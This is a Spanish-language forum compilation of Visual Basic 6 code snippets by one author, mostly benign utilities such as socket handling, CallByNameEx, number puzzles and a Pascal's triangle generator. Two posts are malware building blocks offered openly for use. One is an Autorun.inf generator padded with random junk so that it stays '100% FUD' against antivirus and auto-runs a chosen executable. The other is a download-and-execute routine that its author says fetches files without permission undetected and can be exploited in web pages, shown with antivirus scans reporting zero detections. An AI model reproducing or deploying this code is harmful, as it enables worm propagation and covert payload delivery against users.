Temas

[OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.]

Bueno hace mucho que me la sabia como hacer un Autorun.Inf FUD solo que como ya abandono las malas practicas empesare a liberar algunos codigos sencillos pero utiles para algunos:

Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.

OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

option explicit

Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long
Dim Var(6)                                      As String
Dim DataWrite                                   As String
Dim i                                           As Integer
Dim RN                                          As Integer
Dim nMin                                        As Long
Dim nMax                                        As Long
Dim Sep                                         As String
Dim Char1                                       As String * 1
Dim Char2                                       As String * 1
   Var(0) = "[Autorun]"
   Var(1) = "Open = " & StrExeNameExt
   Var(2) = "UseAutoPlay = 1"
   Var(3) = "action = @" & StrExeNameExt
   Var(4) = "shell\open\Command = " & StrExeNameExt
   Var(5) = "shell\open\Default = 1"
   Var(6) = "shell\explore\Command = " & StrExeNameExt
   If Dir(StrPath, vbDirectory) <> "" Then
       Call NormalizePath(StrPath)
       StrPath = StrPath & "autorun.inf"
       Open StrPath For Binary As 1
           For i = 0 To 6
               DataWrite = vbCrLf & Var(i)
               nMin = NumeroAleatorio(100, 1000)
               nMax = nMin + NumeroAleatorio(100, 1000)
               For RN = 0 To NumeroAleatorio(nMin, nMax)
                   Char1 = Chr(NumeroAleatorio(50, 255))
                   Char2 = Chr(NumeroAleatorio(50, 255))
                   Sep = Chr$(NumeroAleatorio(1, 255))
                   While Sep = Char1 Or Sep = Char2: DoEvents
                       Sep = Chr$(NumeroAleatorio(1, 255))
                   Wend
                   DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1)
               Next RN
               Put 1, , DataWrite
           Next i
       Close 1
       GenerarAutorun = 1
   End If
ErrorFatal:
End Function
Private Sub NormalizePath(ByRef sData As String)
   sData = IIf(Right$(sData, 1) = "\", sData, sData & "\")
End Sub
Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String
Dim spli()                                      As String
Dim i                                           As Double
   If InStr(StrRango, Separador) > 0 Then
       spli = Split(StrRango, Separador)
       LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX))
       For i = LENTEXTMIN To LENTEXTMAX
           TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1))))
       Next i
   End If
End Function
Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long
Dim Tmp                                 As Long
   If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp
   Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum)
End Function



la Llamada se realiza en alguna parte de su Codigo fuente de la siguiente manera:

Código (vb) [Seleccionar] Expandir



Call GenerarAutorun("c:\", "Ejecuta.exe")



Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf

ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:

Código (vb) [Seleccionar] Expandir



Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")



Sangriento Infierno Lunar!¡.

[Que hace?]

Publico el tema en respuesta a aceptación de Conexiones Multi-Cliente ( http://foro.elhacker.net/programacion_vb/conexiones_multiples_con_winsock_ayuda-t288193.0.html ).

Es muy sencilla pero a mas de uno les va a servir de algo... es la misma funcion que ocupo para mis proyectos

Que hace?

.............Acepta conexiones en una matrix de Socket's en este caso en particular esta diseñado para cSocketMaster

Con que funciona?

.............cSocketMaster +ctl ( Control de usuario ) donde este seria el que crearia la matrix requerida!¡.

Ventajas?

.............Se ocupan los indices anteriores que se encuentren con algun error o que no esten conectados realmente, es decir reduce el uso de la memoria. Se deben la maxima matrix ya para mas velocidad aun que esto seria modificable dubclaseificando el indice con algun Modulo de clase... pero bueno xP.

Codigo:

Código (vb) [Seleccionar] Expandir



'
'   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo es requerido    //
'   // el agradacimiento al autor.                             //
'   /////////////////////////////////////////////////////////////
'
Option Explicit
Private Enum SockState
   sckClosed = 0
   sckOpen
   sckListening
   sckConnectionPending
   sckResolvingHost
   sckHostResolved
   sckConnecting
   sckConnected
   sckClosing
   sckError
End Enum
Public Function IndexSocketCerrado(ByRef Socket As Object) As Integer
Dim Index                   As Integer
Dim SockSt                  As SockState
   IndexSocketCerrado = -1
   For Index = Socket.lbound To Socket.UBound
       With Socket(Index)
           SockSt = .State
           If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Then
               'If SockSt = sckClosed Or SockSt = sckListening Or SockSt = sckClosing Or SockSt = sckError Then    '   //  Optativo
               IndexSocketCerrado = Index
               Exit For
           End If
       End With
   Next
End Function

Public Function AceptarConexion(ByRef Socket As Object, requestid As Long) As Boolean
Dim SocketIndex             As Integer
   SocketIndex = IndexSocketCerrado(Socket)
   If SocketIndex = -1 Then
       SocketIndex = Socket.UBound + 1
       Load Socket(SocketIndex)
   End If
   Socket(SocketIndex).CloseSck
   Socket(SocketIndex).Accept requestid
End Function



la llamada:

Código (vb) [Seleccionar] Expandir



'   //  ---->
'   //  Donde Socket_In es el socket que aceptara la conexion entrante en el Socket_Conexion
'   //  Cabe destacar que Socket_In debera ser una matrix de controles
'   //  ---->
Private Sub Socket_Conexion_ConnectionRequest(Index As Integer, ByVal requestid As Long)
       Call AceptarConexion(Socket_In, requestid)
End Sub



Descargar cSocketMaster + Ctl (Para manejarlo igual que el winsock de M$)

Código [Seleccionar] Expandir



http://infrangelux.sytes.net/fileX/?file=/BlackZeroX/Programacion/vb6/CSocketMaster.rar&dir=/BlackZeroX/Programacion/vb6&



Nota: Si se desea usar este codigo para el WinSock de la Ocx de M$ debera editar las las propiedades de CloseSck a Close

Sangriento Infierno Lunar!¡.

[CallByName]

Este codigo que les dejo me arreglo una duda que tenia la cual me la respondio Google a una liga interesante ( Almenos para mi xP )

intentaba hacer algo similar a esto:

Código (Vb) [Seleccionar] Expandir



Private Sub Form_Load()
Dim Args()          As Variant
    ReDim Args(0 To 1)
    Args(0) = "hola Mundo"
    Args(1) = "12"
    CallByName Me, "Mensaje", VbMethod, Args()
End Sub

Public Sub mensaje(mensaje As String, Optional hola As Long)
    MsgBox mensaje, vbOKOnly, hola
End Sub



pero no daba y google me respodio:

http://www.devx.com/tips/Tip/15422

Código (vb) [Seleccionar] Expandir



' Required for use in VB5!
Public Enum VbCallType
VbMethod = 1
VbGet = 2
VbLet = 4
VbSet = 8
End Enum

Public Function CallByNameEx(Obj As Object, _
ProcName As String, CallType As VbCallType, _
Optional vArgsArray As Variant)
Dim oTLI As Object
Dim ProcID As Long
Dim numArgs As Long
Dim i As Long
Dim v()

On Error GoTo Handler

Set oTLI = CreateObject("TLI.TLIApplication")
ProcID = oTLI.InvokeID(Obj, ProcName)

If IsMissing(vArgsArray) Then
CallByNameEx = oTLI.InvokeHook( _
Obj, ProcID, CallType)
End If

If IsArray(vArgsArray) Then
numArgs = UBound(vArgsArray)
ReDim v(numArgs)
For i = 0 To numArgs
v(i) = vArgsArray(numArgs - i)
Next i
CallByNameEx = oTLI.InvokeHookArray( _
Obj, ProcID, CallType, v)
End If
Exit Function

Handler:
Debug.Print Err.Number, Err.Description
End Function



con lo cual ahora el CallByName bueno mejor dicho CallByNameEx acepta ahora expresiones de este tipo:

Código (vb) [Seleccionar] Expandir



Call CallByNameEx(Me, "xx", VbMethod, x)
Call CallByNameEx(Me, "xx", VbMethod, Array(1, 2)) 
Result=CallByNameEx(Me, "xx", VbMethod, x)



siendo que antes array() o pasandole un vector a CallByName No servia

Código (Vb) [Seleccionar] Expandir



Private Sub Form_Load()
Dim Args()          As Variant
    ReDim Args(0 To 1)
    Args(0) = "hola Mundo"
    Args(1) = "12"
    CallByNameEx Me, "Mensaje", VbMethod, Args()
End Sub

Public Sub mensaje(mensaje As String, Optional hola As Long)
    MsgBox mensaje, vbOKOnly, hola
End Sub



Sangrienta Luna Infernal!¡.

Estaba con Drinky ayudando le a crear esto pero se fue y tuve que armarlo solo aquí se los dejo a los curiosos

Este código sirve para modificar el Score del Pinball de Windows.



Por si no lo tienen:

http://www.megaupload.com/?d=CSC7TD7O
Contraseña:
Upload_By_Andres_sito_1992

Compilado...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score.exe

Codigo Fuente...
http://infrangelux.sytes.net/FTP/BlackZeroX/Programacion/vb6/Proyectos/Pinball/Edit%20Score%20Src.rar

Sangrientas Lunas!¡.

.
Bueno ahorita no tengo nada que hacer e hice esto...

Código (vb) [Seleccionar] Expandir



'
'   /////////////////////////////////////////////////////////////
'   // Autor:   BlackZeroX ( Ortega Avila Miguel Angel )       //
'   //                                                         //
'   // Web:     http://InfrAngeluX.Sytes.Net/                  //
'   //                                                         //
'   //    |-> Pueden Distribuir Este Codigo siempre y cuando   //
'   // no se eliminen los creditos originales de este codigo   //
'   // No importando que sea modificado/editado o engrandesido //
'   // o achicado, si es en base a este codigo                 //
'   /////////////////////////////////////////////////////////////

Option Explicit

Public Function IsJolly(ByVal StrNum As String, Optional PosOfCrash As Long) As Boolean
On Error GoTo Terminar
Dim lenNum          As Long
Dim index           As Long
Dim Desendente      As Byte
Dim Spli(1)         As Byte
Dim ValTmp(1)       As Byte
Dim Resultados()    As Byte

    lenNum = Len(StrNum)
    For index = 1 To lenNum - 1
        ValTmp(0) = CByte(Mid(StrNum, index, 1))
        ValTmp(1) = CByte(Mid(StrNum, index + 1, 1))
        Call IntercVal(ValTmp(1), ValTmp(0))
        Spli(0) = ValTmp(0) - ValTmp(1)
        ValTmp(0) = Spli(1)
        ValTmp(1) = Spli(0)
        Call IntercVal(ValTmp(1), ValTmp(0))
        Debug.Print Spli(0)
        If index > 1 Then
            IsJolly = Not ValTmp(0) - ValTmp(1) > 1
            If IsJolly Then
                If (ValTmp(0) - ValTmp(1) + 1) = 0 Then
                    If Desendente = 0 Then
                        Desendente = 1
                    Else
                        IsJolly = ((ValTmp(0) > ValTmp(1)) And Desendente = 1)
                        If Not IsJolly Then Exit For
                    End If
                ElseIf (ValTmp(0) - ValTmp(1) - 1) = 0 Then
                    If Desendente = 0 Then
                        Desendente = 2
                    Else
                        IsJolly = ((ValTmp(0) < ValTmp(1) Or (ValTmp(0) - 1) = ValTmp(1)) And Desendente = 2)
                        If Not IsJolly Then Exit For
                    End If
                End If
            Else
                PosOfCrash = index
                Exit For
            End If
        End If
        Spli(1) = Spli(0)
    Next index
Exit Function
Terminar:
        IsJolly = False
End Function
Public Sub IntercVal(ByRef ValMenor As Byte, ByRef ValMayor As Byte)
Dim Tmp As Byte
    If Not ValMenor < ValMayor Then
        Tmp = ValMayor
        ValMayor = ValMenor
        ValMenor = Tmp
    End If
End Sub



Notas:

Este texto fue escrito por  DARK_J4V13R el 08/02/2010, 20:58   en foros PH... así de aburrido ando xP!¡.

¿Cómo saber si un número es Jolly o no?

Si tenemos el numero: 51421 entonces para saber si ese número es jolly o no debemos de hacer la siguiente operación:

5-1=4
4-1=3
4-2=2
2-1=1

Resultado: Es Jolly

Como ven deben de ordenar los números de tal manera que no den negativos y para saber si es jolly los resultados deben de ser consecutivos como podrán ver: 4,3,2,1 son consecutivos por lo tanto es Jolly, pero si encaso no fueran consecutivos el resultado sería que no es Jolly.

Nota: Si el resultado es de mayor a menor o de menor a mayor no importa ya que si es consecutivo sigue siendo Jolly.

Ejemplo #2

Número: 41423

4-1=3
4-1=3
4-2=2
3-2=1

Resultado: Es Jolly

En este ejemplo como verán el 3 aparece dos veces, esto no afecta en nada el resultado ya que si siguen llevando un orden consecutivo sigue siendo Jolly

Ejemplo #3

Numero: 43117

4-3=1
3-1=2
1-1=0
7-1=6

Resultado: No es Jolly

El resultado aquí No es Jolly ya que como los resultados no llevan un orden consecutivo no son Jolly.

Sangrientas Lunas!¡.

.
Tengo una pregunta y es como puedo actualizar información en el UserControl después de invocar un proceso de un modulo de clase, ando trabado en esto xP

en el user control tengo algo parecido a esto

Código (vb) [Seleccionar] Expandir



Public ListItems                    As New ClsListItems

...
Otros Procesos
...



posteriormente en un form dibujo el control de usuario y le invoco

Código (vb) [Seleccionar] Expandir



usercontrol.ListItems.add ...



Después de invocar esto como se podría actualizar en el UserControl, a si tal cual lo hace el ListView de microsoft?.

Nota: se que las variables no ejecutan procesos pero... ya me atore jajaja... lo peor quiero es que quiero organizar esto de buena forma, y poder manipular el UserControl de forma accesible... posiblemente con un hook ¬¬"

Sangrientas Lunas!¡.
.

.
Bueno un problema o no se bueno
los label tienen handle y si es así como saberlo?

Temibles Lunas!¡.
.

.
por que no esta demas poner esto:

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
public Function vbShell(StrPath As String, Optional hHiden As Boolean) As Boolean
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   vbShell = Not ret Is Nothing
   'If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
   If not vbShell Then exit function
    Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
End Function



Dulces Lunas!¡.

[Sub Main()]

.
La función es sencilla y la cree por que la necesitaba aquí se las dejo, haber si a alguien le sirve de algo xP

Código (vb) [Seleccionar] Expandir



'
' /////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )         //
' //                                                         //
' // Web: http://InfrAngeluX.Sytes.Net/                      //
' //                                                         //
' // |-> Pueden Distribuir Este Código siempre y cuando      //
' // no se eliminen los créditos originales de este código   //
' // No importando que sea modificado/editado o engrandecido //
' // o achicado, si es en base a este código                 //
' /////////////////////////////////////////////////////////////

Option Explicit
Public Function ReplaceFileBytes(ByVal StrFile As String, _
                                ByVal PosIniByte As Long, _
                                ByVal LenBytes As Long, _
                                BufferReplace() As Byte) As Long
On Error GoTo ErrorFatal
Dim FF As Long
   If GetAttr(StrFile) = vbArchive Then
       FF = FreeFile
       Open StrFile For Binary As FF
           If PosIniByte <= LOF(FF) Then
               PosIniByte = IIf(PosIniByte <= 0, LOF(FF), PosIniByte)
               LenBytes = IIf(LenBytes <= 0, LOF(FF) - PosIniByte, LenBytes - 1)
               LenBytes = IIf(LOF(FF) <= (PosIniByte + LenBytes), LOF(FF) - PosIniByte, LenBytes)
               ReDim Preserve BufferReplace(LenBytes)
               Put FF, PosIniByte, BufferReplace
               ReplaceFileBytes = LenBytes + 1
           End If
       Close FF
   End If
ErrorFatal:
End Function



El código no permite reemplazar mas bytes de los existentes, por ello no engrandece el archivo binario, y por eso solo reemplaza los deseados.

Un ejemplo de su uso:

.
Ejemplo  de su Uso (Ver el proceso Sub Main() )

Código (vb) [Seleccionar] Expandir



Function vbShell(StrPath As String, Optional hHiden As Boolean) As Long
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   If Not ret Is Nothing And CBool(Dir(StrPath) <> "") Then '   Optativo
   'If Not ret Is Nothing Then
       Call ret.ShellExecute(StrPath, "", "", "open", Abs(Not hHiden))
       vbShell = 1
   End If
End Function

Sub GenerateTestFile(StrFile As String)
   If GetAttr(StrFile) = vbArchive Then
       Kill StrFile
       Open StrFile For Binary As 1
           Put 1, 1, String$(20, "*")
       Close 1
   End If
End Sub

Sub main()
Const StrFile = "c:\ArchivoX.txt"
Const ComplMSGB = " Bytes Reemplzados"
Const msgb = "InfrAngeluX-Soft"
Dim buf()               As Byte
Dim ret                 As Long
   
   
   Call GenerateTestFile(StrFile)
   MsgBox vbShell(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para escribir en el ultimo bytes poner -1
   MsgBox ReplaceFileBytes(StrFile, -1, 0, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
   Call GenerateTestFile(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para Escribir de X byte hasta el final del archivo
   '   //  poner -1 el resto se llena de espacios vacios
   MsgBox ReplaceFileBytes(StrFile, 1, -1, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
   Call GenerateTestFile(StrFile)
   buf = StrConv(msgb, vbFromUnicode)
   '   //  Para escribir en un rango dado
   MsgBox ReplaceFileBytes(StrFile, 5, 50, buf) & ComplMSGB
   MsgBox vbShell(StrFile)
   
End Sub




Dulces Lunas!¡.

[The Swash]

El código es pequeño pero logra que no salte ningún Antivirus cuando se descarga un archivo sin permiso.

Ademas declarando otro objecto esencial para html se puede explotar directamente en una pagina web... ya que estas también ejecutan vbScript

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Explicit
Function DescargarArchivo(strDowload As String, SaveOn As String) As Long
On Error GoTo 1:
Dim xml                     As Object
Dim adoStream               As Object
   Set xml = CreateObject("Microsoft.XMLHTTP")
   Set adoStream = CreateObject("Adodb.Stream")
   Call xml.Open("GET", strDowload, 0)
   Call xml.Send
   adoStream.Type = 1
   Call adoStream.Open
   Call adoStream.write(xml.responseBody)
   Call adoStream.SaveToFile(SaveOn, 2)
   Call adoStream.Close
   DescargarArchivo = 1
Exit Function
1:
End Function



Código del proyecto con el cual realice en el Scan.

Código (vb) [Seleccionar] Expandir



Option Explicit
Sub main()
   If CBool(DescargarArchivo("http://www.goear.com/files/sst2/mp3files/15102006/cfebd49f1b5ba43867cc687896a32ecd.mp3", "c:\aaa.mp3")) Then
       Call vbShell("c:\aaa.mp3", False)
   End If
End Sub
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Function vbShell(StrPath As String, visible As Long) As Long
Dim ret                     As Object
   Set ret = CreateObject("Shell.Application", "")
   Call ret.ShellExecute(StrPath, "", "", "open", visible)
End Function




lo he probado en un proyecto pequeño miren.

Gracias The Swash por el scan aunq que yo ya lo habia realizado xP

File Info

Report generated: 12.1.2010 at 0.41.15 (GMT 1)
Filename: Project1.exe
File size: 20480 bytes
MD5 hash: d64d53fa4ec3bcafb9ff781303188fb7
SHA1 hash: 62157077EA4D3C17B1988D72F69F8C9502F0026E
Detection rate: 0 on 24
Status: CLEAN

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Scan report generated by
NoVirusThanks.org


Virus total

Antivirus   Version   Last Update   Result
a-squared   4.5.0.48   2010.01.12   -
AhnLab-V3   5.0.0.2   2010.01.11   -
AntiVir   7.9.1.134   2010.01.11   -
Antiy-AVL   2.0.3.7   2010.01.11   -
Authentium   5.2.0.5   2010.01.12   -
Avast   4.8.1351.0   2010.01.11   -
AVG   9.0.0.725   2010.01.11   -
BitDefender   7.2   2010.01.12   -
CAT-QuickHeal   10.00   2010.01.11   -
ClamAV   0.94.1   2010.01.12   -
Comodo   3550   2010.01.11   -
DrWeb   5.0.1.12222   2010.01.12   -
eSafe   7.0.17.0   2010.01.11   -
eTrust-Vet   35.2.7231   2010.01.12   -
F-Prot   4.5.1.85   2010.01.12   -
F-Secure   9.0.15370.0   2010.01.12   -
Fortinet   4.0.14.0   2010.01.12   -
GData   19   2010.01.12   -
Ikarus   T3.1.1.80.0   2010.01.12   -
Jiangmin   13.0.900   2010.01.11   -
K7AntiVirus   7.10.944   2010.01.11   -
Kaspersky   7.0.0.125   2010.01.12   -
McAfee   5858   2010.01.11   -
McAfee+Artemis   5858   2010.01.11   -
McAfee-GW-Edition   6.8.5   2010.01.12   -
Microsoft   1.5302   2010.01.11   -
NOD32   4762   2010.01.11   -
Norman   6.04.03   2010.01.11   -
nProtect   2009.1.8.0   2010.01.11   -
Panda   10.0.2.2   2010.01.11   -
PCTools   7.0.3.5   2010.01.12   -
Prevx   3.0   2010.01.12   -
Rising   22.30.01.01   2010.01.12   -
Sophos   4.49.0   2010.01.12   -
Sunbelt   3.2.1858.2   2010.01.12   -
Symantec   20091.2.0.41   2010.01.12   -
TheHacker   6.5.0.3.147   2010.01.12   -
TrendMicro   9.120.0.1004   2010.01.11   -
VBA32   3.12.12.1   2010.01.12   -
ViRobot   2010.1.12.2131   2010.01.12   -
VirusBuster   5.0.21.0   2010.01.11   -

Dulces Lunas!¡.

[Encryptar y/o descifrar miles de MEGAS sin perder velocidad]

No se que hacer mas me he puesto a mejorar códigos así que pongo esta función es una función realmente rápida a comparación a las que se encuentran en google, así que pueden Encryptar y/o descifrar miles de MEGAS sin perder velocidad ya que los códigos que se encuentran en google pierden velocidad de descifrado en el acto.

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////

Option Explicit
Enum ActionsHexStr
    HexToString = 0
    StringToHex
End Enum
Public Function HexAndString(ByVal vData As String, Optional Accion As ActionsHexStr = HexToString) As String
Dim LenBuffer               As Long
Dim LenOfBuffer             As Integer
Dim Puntero                 As Long
Dim I                       As Long
Dim vStep                   As Integer
    If CBool(IIf(Accion = HexToString And (Len(vData) Mod 2) = 0, True, IIf(Accion = StringToHex, True, False))) Then
        LenBuffer = IIf(Accion = HexToString, Len(vData) / 2, Len(vData) * 2)
        LenOfBuffer = IIf(Accion = HexToString, 1, 2)
        HexAndString = Space(LenBuffer)
        vStep = IIf(Accion = HexToString, 2, 1)
        Puntero = 1
        For I = 1 To Len(vData) Step vStep
            If Accion = HexToString Then
                Mid(HexAndString, Puntero, LenOfBuffer) = Chr$(Val("&H" & Mid$(vData, I, 2)))
                Puntero = Puntero + 1
            Else
                Mid(HexAndString, Puntero, LenOfBuffer) = Hex$(Asc(Mid$(vData, I, 1)))
                Puntero = Puntero + 2
            End If
        Next I
    End If
End Function



P.D.: Estoy aburrido me ire a jugar basketball nos vemos!¡.

Dulces Lunas!¡

[Código ligeramente mejorado ya se se queda tanto tiempo muerto!¡.]

bueno andaba aburrido e hice el codigo para generar el triangulo de pascal

se nesesitan

2 textBox (textbox 2 en propiedad multilinea = true)
1 CommandButton

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit

Public Function GenerateTrianglePascal(ByVal nLineas As Long) As String
On Error GoTo 1
Dim a                       As Long
Dim b                       As Long
Dim CelVar()                As Double
   If nLineas > 0 Then
       ReDim CelVar(nLineas, nLineas)
       For a = 1 To nLineas
           For b = 1 To a: DoEvents
               CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
               GenerateTrianglePascal = GenerateTrianglePascal & CelVar(a, b) & IIf(Not b = a, String(3, " "), "")
           Next b
           If a <> nLineas Then GenerateTrianglePascal = GenerateTrianglePascal & vbCrLf
       Next a
1:      Erase CelVar
   End If
End Function

Private Sub Form_Load()
   Text2.Alignment = 2 '   //  Modo centralizado
End Sub

Private Sub Command1_Click()
   Text2.Text = GenerateTrianglePascal(Val(Text1.Text))
End Sub



con dowhile y doevents

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit

Public Function GenerateTrianglePascal(ByVal nLineas As Long) As String
On Error GoTo 1
Dim a                           As Long
Dim b                           As Long
Dim CelVar()                    As Double
   If nLineas > 0 Then
       ReDim CelVar(nLineas, nLineas)
       a = 1: Do While a <= nLineas
           b = 1: Do While b <= a: DoEvents
               CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
               GenerateTrianglePascal = GenerateTrianglePascal & CelVar(a, b) & IIf(Not b = a, String(2, " "), "")
           b = b + 1: Loop
           If a <> nLineas Then GenerateTrianglePascal = GenerateTrianglePascal & vbCrLf
       a = a + 1: Loop
1:      Erase CelVar
   End If
End Function

Private Sub Form_Load()
   Text2.Alignment = 2 '   //  Modo centralizado
End Sub

Private Sub Command1_Click()
   Text2.Text = GenerateTrianglePascal(Val(Text1.Text))
End Sub




Código ligeramente mejorado ya se se queda tanto tiempo muerto!¡.

Código (vb) [Seleccionar] Expandir



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit

Public Sub GenerateTrianglePascal(ByVal nLineas As Long, ByRef OutData As String)
'On Error GoTo 1
Dim a                       As Long
Dim b                       As Long
Dim Puntero                 As Long
Dim Longitud                As Long
Dim Temporal                As String
Dim CelVar()                As Double
Dim OutDataTemp             As String
Const KiloByte              As Long = 5120
   If nLineas > 0 Then
       ReDim CelVar(nLineas, nLineas)
       Puntero = 1
       OutDataTemp = Space(KiloByte)
       Temporal = Space(255)
       For a = 1 To nLineas
           For b = 1 To a: DoEvents
               CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
               Temporal = CelVar(a, b) & IIf(a <> b, " ", "")
               Longitud = Len(Temporal)
               Mid(OutDataTemp, Puntero, Longitud) = Temporal
               Puntero = Puntero + Longitud
               If Puntero > KiloByte Then
                   OutData = OutData & OutDataTemp
                   OutDataTemp = Space(KiloByte)
                   Puntero = 2
               End If
           Next b
           If a <> nLineas Then
               Puntero = Puntero
               Mid(OutDataTemp, Puntero, 2) = vbCrLf
               Puntero = Puntero + 2
           End If
           Caption = a
       Next a
1:      Erase CelVar
   End If
   OutData = OutData & Trim$(OutDataTemp)
End Sub
Private Sub Form_Load()
   Text2.Alignment = 2 '   //  Modo centralizado
End Sub
Private Sub Command1_Click()
Dim datas                   As String
   Call GenerateTrianglePascal(Val(Text1.Text), datas)
   Text2.Text = datas
End Sub



la longitud de los números esta limitada por el buffer que solo le asigne 255 caracteres.

El limite de lineas es de 932 si es que no se aumentan los buffers de memoria


P.D.: El código en lugar de hacerle un redim a celvar(x,x) puede hacerse de esta forma Celver(1,x) pero decidí dejar los registros anteriores por si alguien deseaba hacerles cambios aun que de esta forma en la que lo deje gasta mas memoria ram en el modo celvar(1,x) no gastaría tanta pero tendría que estarse usando copymemori (API) para mover el de 1 a 0 y sacar los nuevos valores.



